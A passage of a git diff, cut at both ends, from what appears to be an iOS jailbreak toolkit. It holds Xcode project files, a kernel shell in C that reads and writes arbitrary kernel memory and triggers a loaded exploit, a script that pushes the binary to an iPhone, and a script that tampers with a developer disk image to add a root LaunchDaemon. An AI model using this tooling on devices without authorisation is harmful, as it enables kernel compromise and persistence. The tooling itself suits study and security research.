buildConfigurationList = 8A75E8F5197EEE6A0007FCA7 /* Build configuration list for PBXNativeTarget "konsole" */; + buildPhases = ( + 8A75E8E1197EEE6A0007FCA7 /* Sources */, + 8A75E8E2197EEE6A0007FCA7 /* Frameworks */, + 8A75E8E3197EEE6A0007FCA7 /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = konsole; + productName = konsole; + productReference = 8A75E8E5197EEE6A0007FCA7 /* konsole */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A75E8DD197EEE6A0007FCA7 /* Project object */ = { + isa = PBXProject; + attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A75E8E0197EEE6A0007FCA7 /* Build configuration list for PBXProject "konsole" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A75E8DC197EEE6A0007FCA7; + productRefGroup = 8A75E8E6197EEE6A0007FCA7 /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A75E8E4197EEE6A0007FCA7 /* konsole */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A75E8E3197EEE6A0007FCA7 /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A75E8E1197EEE6A0007FCA7 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A75E931197EF97E0007FCA7 /* macho.c in Sources */, + 8A75E939197EF97E0007FCA7 /* vmmap.c in Sources */, + 8A75E92F197EF97E0007FCA7 /* kernel.c in Sources */, + 8A75E92D197EF97E0007FCA7 /* find.c in Sources */, + 8A75E934197EF97E0007FCA7 /* section.c in Sources */, + 8A75E92C197EF97E0007FCA7 /* earlyrandom.c in Sources */, + 8A75E901197EF08D0007FCA7 /* shell.c in Sources */, + 8A75E92E197EF97E0007FCA7 /* kaslr.c in Sources */, + 8A75E92B197EF97E0007FCA7 /* devtree.c in Sources */, + 8A75E929197EF97E0007FCA7 /* command.c in Sources */, + 8A75E938197EF97E0007FCA7 /* tfp0.c in Sources */, + 8A75E94B197F00A80007FCA7 /* debug.c in Sources */, + 8A75E930197EF97E0007FCA7 /* m1n0rthreat.c in Sources */, + 8A75E928197EF97E0007FCA7 /* avio.c in Sources */, + 8A75E936197EF97E0007FCA7 /* symbol.c in Sources */, + 8A75E937197EF97E0007FCA7 /* symtab.c in Sources */, + 8A75E92A197EF97E0007FCA7 /* dangu.c in Sources */, + 8A75E935197EF97E0007FCA7 /* segment.c in Sources */, + 8A75E8F2197EEE6A0007FCA7 /* konsole.c in Sources */, + 8A75E933197EF97E0007FCA7 /* pmap.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A75E8F3197EEE6A0007FCA7 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.1; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A75E8F4197EEE6A0007FCA7 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.1; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A75E8F6197EEE6A0007FCA7 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = ""; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = YES; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A75E8F7197EEE6A0007FCA7 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = ""; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = YES; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A75E8E0197EEE6A0007FCA7 /* Build configuration list for PBXProject "konsole" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A75E8F3197EEE6A0007FCA7 /* Debug */, + 8A75E8F4197EEE6A0007FCA7 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A75E8F5197EEE6A0007FCA7 /* Build configuration list for PBXNativeTarget "konsole" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A75E8F6197EEE6A0007FCA7 /* Debug */, + 8A75E8F7197EEE6A0007FCA7 /* Release */, + ); + defaultConfigurationIsVisible = 0; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A75E8DD197EEE6A0007FCA7 /* Project object */; +} diff --git a/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/konsole.xcscheme b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/konsole.xcscheme new file mode 100644 index 0000000..93d3788 --- /dev/null +++ b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/konsole.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..a43f907 --- /dev/null +++ b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + konsole.xcscheme + + orderHint + 4 + + + SuppressBuildableAutocreation + + 8A75E8E4197EEE6A0007FCA7 + + primary + + + + + diff --git a/konsole/konsole/PackageVersion.plist b/konsole/konsole/PackageVersion.plist new file mode 100644 index 0000000..7b7575c --- /dev/null +++ b/konsole/konsole/PackageVersion.plist @@ -0,0 +1,16 @@ + + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/konsole/konsole/debug.c b/konsole/konsole/debug.c new file mode 100644 index 0000000..52b3fc1 --- /dev/null +++ b/konsole/konsole/debug.c @@ -0,0 +1,54 @@ +// +// debug.c +// konsole +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include + +void hexdump(unsigned char* buf, unsigned int len) { + int i, j; + unsigned int offset = 0; + char buffer[0x4000]; + memset(buffer, '\0', 0x4000); + + offset += sprintf(&buffer[offset], "0x%08x: ", buf); + for (i = 0; i < len; i++) { + if (i % 16 == 0 && i != 0) { + for (j=i-16; j < i; j++) { + unsigned char car = buf[j]; + if (car < 0x20 || car > 0x7f) car = '.'; + offset += sprintf(&buffer[offset], "%c", car); + } + syslog(LOG_ERR, "%s", buffer); + offset = 0; + memset(buffer, '\0', 0x4000); + offset += sprintf(&buffer[offset], "0x%08x: ", buf+i); + } + offset += sprintf(&buffer[offset], "%02x ", buf[i]); + } + + int done = (i % 16); + int remains = 16 - done; + if (done > 0) { + for (j = 0; j < remains; j++) { + offset += sprintf(&buffer[offset], " "); + } + } + + if ((i - done) >= 0) { + if (done == 0 && i > 0) done = 16; + for (j = (i - done); j < i; j++) { + unsigned char car = buf[j]; + if (car < 0x20 || car > 0x7f) car = '.'; + offset += sprintf(&buffer[offset], "%c", car); + } + } + + syslog(LOG_ERR, "%s", buffer); + memset(buffer, '\0', 0x4000); + offset = 0; +} \ No newline at end of file diff --git a/konsole/konsole/debug.plist b/konsole/konsole/debug.plist new file mode 100644 index 0000000..99c5984 Binary files /dev/null and b/konsole/konsole/debug.plist differ diff --git a/konsole/konsole/konsole.c b/konsole/konsole/konsole.c new file mode 100644 index 0000000..e63ab6d --- /dev/null +++ b/konsole/konsole/konsole.c @@ -0,0 +1,17 @@ +// +// main.c +// konsole +// +// Created by Joshua Hill on 7/22/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include + +#include "shell.h" + +int main(int argc, char* argv[]) { + kernel_shell(); + return 0; +} + diff --git a/konsole/konsole/shell.c b/konsole/konsole/shell.c new file mode 100644 index 0000000..4384152 --- /dev/null +++ b/konsole/konsole/shell.c @@ -0,0 +1,227 @@ +// +// kshell.c +// konsole +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include +#include + +#include "debug.h" +#include "shell.h" +#include "kernel.h" + +static kernel_t* kern = NULL; + +int cmd_md(int argc, char* argv[]); +int cmd_mw(int argc, char* argv[]); +int cmd_help(int argc, char* argv[]); +int cmd_exit(int argc, char* argv[]); +int cmd_echo(int argc, char* argv[]); +int cmd_base(int argc, char* argv[]); +int cmd_slide(int argc, char* argv[]); +int cmd_exploit(int argc, char* argv[]); +int cmd_hexdump(int argc, char* argv[]); + +static const cmd_info_t commands[] = { + { "help", cmd_help, "Print help message" }, + { "exit", cmd_exit, "Exit kernel shell" }, + { "echo", cmd_echo, "Echo characters to the screen" }, + { "md", cmd_md, "Display the value at address" }, + { "mw", cmd_mw, "Write value to address" }, + { "base", cmd_base, "Get kernel base address" }, + { "slide", cmd_slide, "Get kernel ASLR slide" }, + { "hexdump", cmd_hexdump, "Dump memory from kernel" }, + { "exploit", cmd_exploit, "Test currently loaded exploit" }, + { 0, 0, 0 } +}; + +int cmd_help(int argc, char* argv[]) { + int i = 0; + printf("Commands:\n"); + for (i = 0; commands[i].name != NULL; i++) { + printf(" %s \t", commands[i].name); + if (strlen(commands[i].name) < 5) + printf(" \t"); + printf("%s\n", commands[i].description); + } + printf("\n"); + return 0; +} + +int cmd_exit(int argc, char* argv[]) { + printf("Goodbye\n"); + exit(1); + return 0; +} + +int cmd_echo(int argc, char* argv[]) { + int i = 0; + if (argc >= 2) { + for (i = 1; i < argc; i++) { + printf("%s ", argv[i]); + } + printf("\n"); + return 0; + } + + printf("usage: echo \n"); + return 0; +} + +int cmd_hexdump(int argc, char* argv[]) { + unsigned int len = 0; + unsigned int addr = 0; + unsigned char* buf = NULL; + if (argc != 3) { + printf("usage: hexdump
\n"); + return 0; + } + + addr = (unsigned char*) strtoul(argv[1], 0, 0); + len = (unsigned int) strtoul(argv[2], 0, 0); + buf = (unsigned char*) malloc(len); + + kern->read(addr, buf, len); + hexdump(buf, len); + return 0; +} + +int cmd_mw(int argc, char* argv[]) { + if (argc != 3) { + printf("usage: mw
\n"); + return 0; + } + + unsigned int address = (unsigned int) strtoul(argv[1], 0, 0); + unsigned int value = (unsigned int) strtoul(argv[2], 0, 0); + + kern->set(address, value); + return 0; +} + +int cmd_md(int argc, char* argv[]) { + if (argc != 2) { + printf("usage: md
\n"); + return 0; + } + + unsigned long address = strtoul(argv[1], 0, 0); + unsigned int value = kern->get(address); + + printf("0x%08x\n", value); + return value; +} + +int cmd_search(int argc, char* argv[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_string(int argc, char* arg[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_fuzz(int argc, char* argv[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_break(int argc, char* argv[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_base(int argc, char* argv[]) { + printf("0x%lx\n", kern->base); + return 0; +} + +int cmd_slide(int argc, char* argv[]) { + printf("0x%lx\n", kern->slide); + return 0; +} + +int cmd_exploit(int argc, char* argv[]) { + kern->exploit(kern); + return 0; +} + +void lineToArgs(char* line, char*** argv, int* argc) { + int count = 0; + char* input = strdup(line); + char** args = (char**)malloc(sizeof(char*) * 0x100); + + char* next = input; + char* prev = input; + while(count < 0x100) { + next = strchr((const char*) next, ' '); + if(next) { + next[0] = '\0'; + next++; + args[count] = prev; + prev = next; + + } else { + next = prev; + next = strchr((const char*) next, '\n'); + if(next) { + next[0] = '\0'; + args[count] = prev; + + count++; + break; + } + } + count++; + } + + *argv = args; + *argc = count; +} + +int kernel_shell() { + char input[0x200]; + printf("Welcome to Konsole\n"); + printf("Type 'help' for a list of commands\n"); + kern = kernel_open(); + if(kern == NULL) { + printf("Unable to open kernel reference\n"); + return -1; + } + while(1) { + printf("> "); + memset(input, '\0', sizeof(input)); + fgets(input, sizeof(input), stdin); + + int argc = 0; + char** argv = NULL; + lineToArgs(input, &argv, &argc); + + if (argc > 0) { + int i = 0; + char* cmd = argv[0]; + for (i = 0; commands[i].name != NULL; i++) { + if(commands[i].name == NULL) { + printf("Command %s not found\n", cmd); + break; + + } else if (!strcmp(commands[i].name, cmd)) { + int ret = commands[i].handler(argc, argv); + if(ret) { + printf("Error executing command\n"); + } + break; + } + } + + + } + } + + return 0; +} \ No newline at end of file diff --git a/konsole/konsole/shell.h b/konsole/konsole/shell.h new file mode 100644 index 0000000..345f4be --- /dev/null +++ b/konsole/konsole/shell.h @@ -0,0 +1,22 @@ +// +// kshell.h +// konsole +// +// Created by Joshua Hill on 7/22/14. +// +// + +#ifndef konsole_kshell_h +#define konsole_kshell_h + +typedef int(*cmd_cb_t)(int argc, char* argv[]); + +typedef struct { + char* name; + cmd_cb_t handler; + char* description; +} cmd_info_t; + +int kernel_shell(void); + +#endif diff --git a/konsole/make.sh b/konsole/make.sh new file mode 100644 index 0000000..534799f --- /dev/null +++ b/konsole/make.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +rm -rf build +xcodebuild +codesign -f -s "iPhone Developer" --entitlements ./konsole/debug.plist build/Release-iphoneos/konsole +scp build/Release-iphoneos/konsole iphone:/usr/bin/konsole diff --git a/panic.sh b/panic.sh new file mode 100644 index 0000000..20e2176 --- /dev/null +++ b/panic.sh @@ -0,0 +1,27 @@ +#!/bin/bash + +echo "Sudo Chop!!!" + +# Clean up old staging files from subversi0n and rebuild +rm -rf ddi.dmg + +# Mount our new image +sudo hdiutil detach /Volumes/DDI +sudo hdiutil mount udrw.dmg + +# Remove old files +sudo rm -rf /Volumes/DDI/dump.dylib +sudo rm -rf /Volumes/DDI/patch.dylib +sudo rm -rf /Volumes/DDI/crack.dylib +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.dump.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.patch.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.crack.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.panic.plist + +sudo cp ./panic/com.sudo-sec.panic.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.panic.plist + +# Unmount and convert to UDRO +sudo hdiutil detach /Volumes/DDI +sudo hdiutil convert -format UDRO -o ddi.dmg udrw.dmg + +echo "Done, copy ddi.dmg over to SudoPunch" diff --git a/panic/com.sudo-sec.panic.plist b/panic/com.sudo-sec.panic.plist new file mode 100644 index 0000000..9eb1b12 --- /dev/null +++ b/panic/com.sudo-sec.panic.plist @@ -0,0 +1,18 @@ + + + + + KeepAlive + + Label + com.sudo-sec.panic + ProgramArguments + + /System/Library/CoreServices/DumpPanic + + UserName + root + RunAtLoad + + + diff --git a/patch/patch.xcodeproj/project.pbxproj b/patch/patch.xcodeproj/project.pbxproj new file mode 100644 index 0000000..26960ce --- /dev/null +++ b/patch/patch.xcodeproj/project.pbxproj @@ -0,0 +1,540 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A42487C1B44CE4900DC2E9F /* pangwho.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A42487A1B44CE4900DC2E9F /* pangwho.c */; }; + 8A6E73DC188EF2F8000D650F /* devtree.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73CC188EF2F8000D650F /* devtree.c */; }; + 8A6E73DD188EF2F8000D650F /* find.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73CE188EF2F8000D650F /* find.c */; }; + 8A6E73DE188EF2F8000D650F /* kaslr.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D0188EF2F8000D650F /* kaslr.c */; }; + 8A6E73DF188EF2F8000D650F /* kernel.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D2188EF2F8000D650F /* kernel.c */; }; + 8A6E73E0188EF2F8000D650F /* m1n0rthreat.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D4188EF2F8000D650F /* m1n0rthreat.c */; }; + 8A6E73E1188EF2F8000D650F /* patch.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D6188EF2F8000D650F /* patch.c */; }; + 8A6E73E2188EF2F8000D650F /* tfp0.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D8188EF2F8000D650F /* tfp0.c */; }; + 8A6E73E3188EF2F8000D650F /* vmmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73DA188EF2F8000D650F /* vmmap.c */; }; + 8A6E7437188EFDE4000D650F /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E7436188EFDE4000D650F /* CoreFoundation.framework */; }; + 8A6E7473189958DA000D650F /* command.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7467189958DA000D650F /* command.c */; }; + 8A6E7474189958DA000D650F /* macho.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7469189958DA000D650F /* macho.c */; }; + 8A6E7475189958DA000D650F /* section.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E746B189958DA000D650F /* section.c */; }; + 8A6E7476189958DA000D650F /* segment.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E746D189958DA000D650F /* segment.c */; }; + 8A6E7477189958DA000D650F /* symbol.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E746F189958DA000D650F /* symbol.c */; }; + 8A6E7478189958DA000D650F /* symtab.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7471189958DA000D650F /* symtab.c */; }; + 8A75E8FA197EEED10007FCA7 /* dangu.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E8F9197EEED10007FCA7 /* dangu.c */; }; + 8A75E8FE197EEF1D0007FCA7 /* earlyrandom.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E8FD197EEF1D0007FCA7 /* earlyrandom.c */; }; + 8A7EABF318E48C660066C1F8 /* pmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A7EABF218E48C660066C1F8 /* pmap.c */; }; + 8AB037D918DDEB64001AC096 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E7438188EFDFE000D650F /* IOKit.framework */; }; + 8ACB7C821941A2A200E18AA3 /* avio.c in Sources */ = {isa = PBXBuildFile; fileRef = 8ACB7C811941A2A200E18AA3 /* avio.c */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A42487A1B44CE4900DC2E9F /* pangwho.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pangwho.c; sourceTree = ""; }; + 8A42487B1B44CE4900DC2E9F /* pangwho.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pangwho.h; sourceTree = ""; }; + 8A6E735E188EF0B0000D650F /* patch */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = patch; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A6E7363188EF0B0000D650F /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A6E7364188EF0B0000D650F /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A6E7366188EF0B0000D650F /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A6E7369188EF0B0000D650F /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A6E73CB188EF2F8000D650F /* com.sudo-sec.patch.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "com.sudo-sec.patch.plist"; sourceTree = ""; }; + 8A6E73CC188EF2F8000D650F /* devtree.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = devtree.c; sourceTree = ""; }; + 8A6E73CD188EF2F8000D650F /* devtree.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = devtree.h; sourceTree = ""; }; + 8A6E73CE188EF2F8000D650F /* find.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = find.c; sourceTree = ""; }; + 8A6E73CF188EF2F8000D650F /* find.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = find.h; sourceTree = ""; }; + 8A6E73D0188EF2F8000D650F /* kaslr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kaslr.c; sourceTree = ""; }; + 8A6E73D1188EF2F8000D650F /* kaslr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kaslr.h; sourceTree = ""; }; + 8A6E73D2188EF2F8000D650F /* kernel.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel.c; sourceTree = ""; }; + 8A6E73D3188EF2F8000D650F /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel.h; sourceTree = ""; }; + 8A6E73D4188EF2F8000D650F /* m1n0rthreat.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = m1n0rthreat.c; sourceTree = ""; }; + 8A6E73D5188EF2F8000D650F /* m1n0rthreat.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = m1n0rthreat.h; sourceTree = ""; }; + 8A6E73D6188EF2F8000D650F /* patch.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patch.c; sourceTree = ""; }; + 8A6E73D7188EF2F8000D650F /* patch.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patch.h; sourceTree = ""; }; + 8A6E73D8188EF2F8000D650F /* tfp0.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = tfp0.c; sourceTree = ""; }; + 8A6E73D9188EF2F8000D650F /* tfp0.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = tfp0.h; sourceTree = ""; }; + 8A6E73DA188EF2F8000D650F /* vmmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vmmap.c; sourceTree = ""; }; + 8A6E73DB188EF2F8000D650F /* vmmap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vmmap.h; sourceTree = ""; }; + 8A6E7436188EFDE4000D650F /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; + 8A6E7438188EFDFE000D650F /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = System/Library/Frameworks/IOKit.framework; sourceTree = SDKROOT; }; + 8A6E7467189958DA000D650F /* command.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = command.c; sourceTree = ""; }; + 8A6E7468189958DA000D650F /* command.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = command.h; sourceTree = ""; }; + 8A6E7469189958DA000D650F /* macho.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = macho.c; sourceTree = ""; }; + 8A6E746A189958DA000D650F /* macho.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = macho.h; sourceTree = ""; }; + 8A6E746B189958DA000D650F /* section.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = section.c; sourceTree = ""; }; + 8A6E746C189958DA000D650F /* section.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = section.h; sourceTree = ""; }; + 8A6E746D189958DA000D650F /* segment.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = segment.c; sourceTree = ""; }; + 8A6E746E189958DA000D650F /* segment.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = segment.h; sourceTree = ""; }; + 8A6E746F189958DA000D650F /* symbol.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = symbol.c; sourceTree = ""; }; + 8A6E7470189958DA000D650F /* symbol.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = symbol.h; sourceTree = ""; }; + 8A6E7471189958DA000D650F /* symtab.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = symtab.c; sourceTree = ""; }; + 8A6E7472189958DA000D650F /* symtab.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = symtab.h; sourceTree = ""; }; + 8A6E747A189959D0000D650F /* debug.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = debug.h; sourceTree = ""; }; + 8A75E8F9197EEED10007FCA7 /* dangu.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = dangu.c; sourceTree = ""; }; + 8A75E8FB197EEEE40007FCA7 /* dangu.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = dangu.h; sourceTree = ""; }; + 8A75E8FD197EEF1D0007FCA7 /* earlyrandom.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = earlyrandom.c; sourceTree = ""; }; + 8A75E8FF197EEF290007FCA7 /* earlyrandom.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = earlyrandom.h; sourceTree = ""; }; + 8A7EABF218E48C660066C1F8 /* pmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pmap.c; sourceTree = ""; }; + 8A7EABF418E48C720066C1F8 /* pmap.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = pmap.h; sourceTree = ""; }; + 8ACB7C811941A2A200E18AA3 /* avio.c */ = {isa = 